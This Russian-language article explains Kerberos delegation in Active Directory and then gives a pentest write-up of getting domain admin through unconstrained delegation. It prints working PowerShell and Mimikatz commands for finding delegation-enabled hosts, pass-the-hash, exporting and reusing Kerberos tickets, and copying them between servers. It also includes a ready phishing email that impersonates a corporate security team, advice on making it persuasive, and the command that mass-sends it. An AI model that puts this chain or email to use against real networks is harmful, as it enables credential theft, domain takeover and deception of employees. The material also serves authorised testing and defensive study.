Механизм Делегирования Kerberos

Функция делегирования Kerberos это фича, которая позволяет приложению повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенных на другом сервере. Вы должны понимать, что действительно доверяете серверу приложений, так как в противном случае приложение может использовать ваши учетные данные для целей, о которых вы не задумывались: таких как отправка электронной почты от вашего имени или изменения данных в критически важных приложениях, делая вид , что вы сделали эти изменения. Поэтому функция делегирование Kerberos не включена по умолчанию в Active Directory. Вы, или более вероятно — администратор домена, должны принять решение, какое приложение является доверенным для делегирования.

Функция делегирования Kerberos настроена как свойство для учетной записи домена, которая используется приложением в качестве аккаунта сервиса. Для приложения IIS, который является пулом приложений, аккаунт сконфигурирован для конкретного применения. Это также та учетная запись домена, которую вы использовали при настройке SPN(Service Principal Name — имя участника службы).

Функция делегирования Kerberos поставляется в различных вариантах. Первая реализация, которая была введена в Windows 2000 была «все или ничего»: вы разрешали доменной учетной записи использовать свои данные для подключения к любому серверу в мире. (Или, более точно, по крайней мере к какому-либо серверу, доступному из текущего домена).

Когда вы настраиваете Active Directory в Windows Server 2003, то по умолчанию домен (Функциональный уровень) окажется в состоянии, которое принято называть Mixed Mode (смешанный режим) или состояние, где контроллеры BDC (NT 4) могут продолжать работать, взаимодействуя с обновленным PDC (который теперь является PDC эмулятором), как с источником синхронизации домена.

Получение прав администратора домена с помощью неограниченного делегирования Kerberos

Последний пентест был одним из тех редких случаев, когда не удалось найти учетную запись администратора домена (пароль/хэш/токен), используя обычные методы. У меня уже были права администратора на одном из серверов благодаря функции загрузки файлов в панели управления логами, работающей через WAMP (WAMP работает с привилегиями SYSTEM). Я получил доступ к еще нескольким серверам, используя хэши пользователей домена, которые были локальными администраторами еще на нескольких серверах, и используя еще некоторые аналогичные вещи, но мне не везло.

 

Так или иначе, некоторое время изучая атаки на Active Directory и Kerberos, я понял, что настало время пересмотреть подход. Помните, что первое приходит на ум, когда мы не можем реализовать атаки на стороне сервера? Правильно! Атаки на клиентскую сторону. Я смог разослать некоторые письма со вложениями и ссылками в надежде получить доступ к машине пользователя, которая и приведёт меня к серверу с токеном администратора домена. Клиент, по своим собственным причинам, хотел чтобы все обратные соединения шеллов/запросы от фишинга оставались в пределах внутренней сети, и чтобы не было никакого исходящего трафика к моей машине с VPN. (Схема построена с помощью сервиса draw.io )

1

Таким образом, мне нужно либо устанавливать несколько listener’ов на одном из взломанных серверов, которые бы обрабатывали множественные обратные соединения от шеллов, либо каким-то образом использовать существующий сервис в качестве listener’а для моих фишинг-атак. Так как я ленивый :) я решил воспользоваться вторым вариантом, то есть, использовать существующий сервис. Осматриваясь в домене после первоначального закрепления, я увидел, что на веб-сервере была включена опция неограниченного делегирования Kerberos .
Если эта опция включена для сервера, можно захватывать токены пользователей, подключенных к серверу. Вот хороший пост от Шона, описывающий механизм неограниченного делегирования Kerberos. Прочитайте этот пост для получения более подробной информации о том, как этот механизм работает. Итак, все что нужно сделать — разослать фишинговые письма, использовать их для подключения к серверу, где уже были права администратора, и ждать когда администратору домена упадёт письмо на почту.

Вот как я это сделал (повторил в соей лаборатории).

  1. pfptlab-build — сервер, где у нас есть доступ администратора с RDP, PowerShell Remoting и т.д.
  2.  pfptlab-web — сервер, на котором мы можем выполнять команды от имени администратора, но прямого доступа к нему нет.2

Поиск компьютеров с Неограниченным Делегированием

С помощью встроенного в PowerShell модуля Active Directory. Этот модуль доступен по умолчанию в Windows Server 2012. С помощью шелла на сервере с правами администратора (pfptlab-build) используем следующие команды:

PS C:\> Add-WindowsFeature RSAT-AD-PowerShell
PS C:\> Import-Module ActiveDirectory
PS C:\> Get-ADComputer –Filter {(TrustedForDelegation –eq $True) –and (PrimaryGroupID –eq 515)}

3

Я завернул вышеуказанные команды в скрипт Get-Unconstrained.ps1, его можно найти тут ActiveDirectory category of Nishang.

Другой способ поиска компьютеров с Неограниченным Делегированием — использование Powerview:

PS C:\> Get-NetComputer -Unconstrained

Настройка Listner’a

На сервере, где функция неограниченного делегирования включена (pfptlab-web в лаборатории), мы можем перечислить существующие токены с помощью Invoke-Mimikatz. Имейте в виду, что у нас есть административный доступ к серверу с помощью хэша пользователя домена, который является локальным администратором на этом сервере. Обратите внимание, что мы можем передать этот токен, но время его жизни будет играть против нас, поэтому нам нужно подождать когда администратор домена подключится к машине.

Мы можем использовать хэш доменного пользователя webadmin, который является локальным администратором на pfptlab-web, сервере с неограниченным делегированием:

PS C:\> Invoke-Mimikatz -DumpCreds
PS C:\> Invoke-Mimikatz -Command ‘»sekurlsa::pth /user:webadmin /domain:pfptlab /ntlm:[ntlm hash] /run:powershell.exe»‘

Вот как выглядит вывод этой команды:

45

Теперь, получим список токенов на pfptlab-web, сервере с неограниченным делегированием. Так, мы имеем прямой доступ к pfptlab-build машине, давайте «дропнем скрипт на диск» и используем нижеприведенные команды, чтобы использовать его в рамках сессии на pfptlab-web, не затронув диск. Помните, что нижеприведенные команды должны быть запущены в консоли PowerShell, открытой используя хэш пользователя webadmin:

PS C:\> $sess = New-PSSession -ComputerName pfptlab-web
PS C:\> Invoke-Command -FilePath C:\Users\buildadmin\Desktop\Invoke-Mimikatz.ps1 -Session $sess
PS C:\> Invoke-Command -ScriptBlock {cd $env:TEMP} -Session $sess
PS C:\> Invoke-Command -ScriptBlock {Invoke-Mimikatz -Command ‘»sekurlsa::tickets /export»‘} -Session $sess

6

Альтернативный способ фишить

На заметку. Если мы попытаемся использовать следующую команду (для выполнения Invoke-Mimikatz на pfptlab-web, не заливая скрипт на диск pftplab-build) будет ошибка.

PS C:\> Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ArgumentList ‘-Command «sekurlsa::tickets»‘ -ComputerName pfptlab-web

Потому что, мы не можем передать именованные параметры в -ArgumentList. Их невозможно передать с помощью «-command» sekurlsa :: tickets» ‘» в приведенном выше случае. Мы можем передать только позиционные параметры. Для преодоления этого я изменил позиции параметров. Я присвоил позицию 0 параметру «Command» из Invoke-Mimikatz и вышеприведенная команда успешно работала. Теперь к фишигу! Если добавить «/export» в параметре ArgumentList в приведенной выше команде, он не сработает, так как PowerShell передает его Invoke-Mimikatz’у в качестве второго параметра.
Таким образом, если предположить, что мы уже перечислили учетные записи администраторов домена и один из них является «Администратор», чтобы знать, если администратор домена подключен мы можем использовать следующий метод:

PS C:\> $output = Invoke-Command -ScriptBlock {(ls $env:temp\*.kirbi).name} -Session $sess
PS C:\> $output | sls Administrator

Может быть кто-то автоматизирует этот процесс более чистым способом. Если токен Администратора или администратора домена сохраняется на Mimikatz — то вторая команда выше должна записать его. Но нет, токен администратора домена по pfptlab-web, пока нет.

Подготовка рассылки

К счастью, внутренний почтовый сервер клиента допускает ретрансляции электронной почты — так что отправка фишинговых писем не станет проблемой. Я получил доступ к электронной почте с помощью идентификаторов имен пользователей AD в комбинации с несколькими Excel файлами. После обмена письмами с клиентом, он удалил сообщения электронной почты некоторых ребят из управления. Один из нескольких шаблонов электронных писем:

Hey,

I am from the Corporate Security Team, we look after security here. We have detected multiple anomalies in the network which could be traced back to your system. It could be a virus or a trojan attack which blocks you from accessing company resources. You are required to immediately perform all of the below steps:
1. Click on Start Menu -> Type cmd.exe
2. In the Window which opens up. type «reg query HKLM\SOFTWARE\Microsoft\»
3. Copy the contents of above command in a text file.
4. Go to \\[name of server with unconstrained delegation]\C$ and copy the file there.
5. If you are unable to access the share, just save the text file with the name Sotware_log.txt on your Desktop and we will pick it up.

Cheers,

Corporate Security Team

В то время как я не являюсь специалистом в разработке фишинговых писем, хотелось бы отметить некоторые моменты, в приведенном выше примере письма:
— Не устрашающий, но властный тон.
— Использование жаргона, но не слишком сложные слова, как если бы я действительно пытался объяснить сложные вещи простыми словами пользователю.
— Требование срочных действий со стороны конечного пользователя.
— Команда, которая выводит много сообщений.
— Предоставление альтернативного способа для пользователя, если они не могут получить доступ к шаре, который позволит мне выглядеть более полезным(для пользователя).
Хотя я пытался следовать этикету «деловой переписки», конечно же, это письмо может быть написано и лучше.

С помощью следующей команды письмо было отправлено пользователям.

PS C:\> Send-MailMessage -From «Corporate Security<corporate.security@client.com>» -To $recipients -Subject «Security Anomaly: Action Required» -Body (Get-Content C:\Users\buildadmin\Desktop\email.txt | Out-String) -SmtpServer [IP of internal mail server]

Так выглядело письмо одному из пользователей в его ящике.

7

 

Выполнение

После рассылки почты, я начал проверять токены на наличие привилегий администратора домена, постоянно запускав Invoke-Mimikatz и в скором времени появились несколько администраторов домена, которые выполнили то, что их просили сделать :D

8

Сейчас, на мой взгляд, лучшим способом использовать токены — это скопировать их на сервер pfptlab-build, так как мы имеем прямое подключение к ней. С помощью следующей команды мы можем скопировать все токены из pfptlab-web для pfptlab-build машины.

PS C:\> Copy-Item \\pfptlab-web\C$\Users\WEBADM~1.PFP\AppData\Local\Temp\*.kirbi C:\tickets

9

Теперь мы можем использовать один из токенов Администратора, чтобы поднять наши привилегии администратора домена:

PS C:\> Invoke-Mimikatz -Command ‘»kerberos::ptt [Ticket]

10

Потрясающие! Наконец доступ администратора домена. Пусть начнется танец победы: D: D

После получения прав администратора домена, я собрал данные, относящиеся к бизнес процессам, чтобы продемонстрировать реальное воздействие на управление клиентами.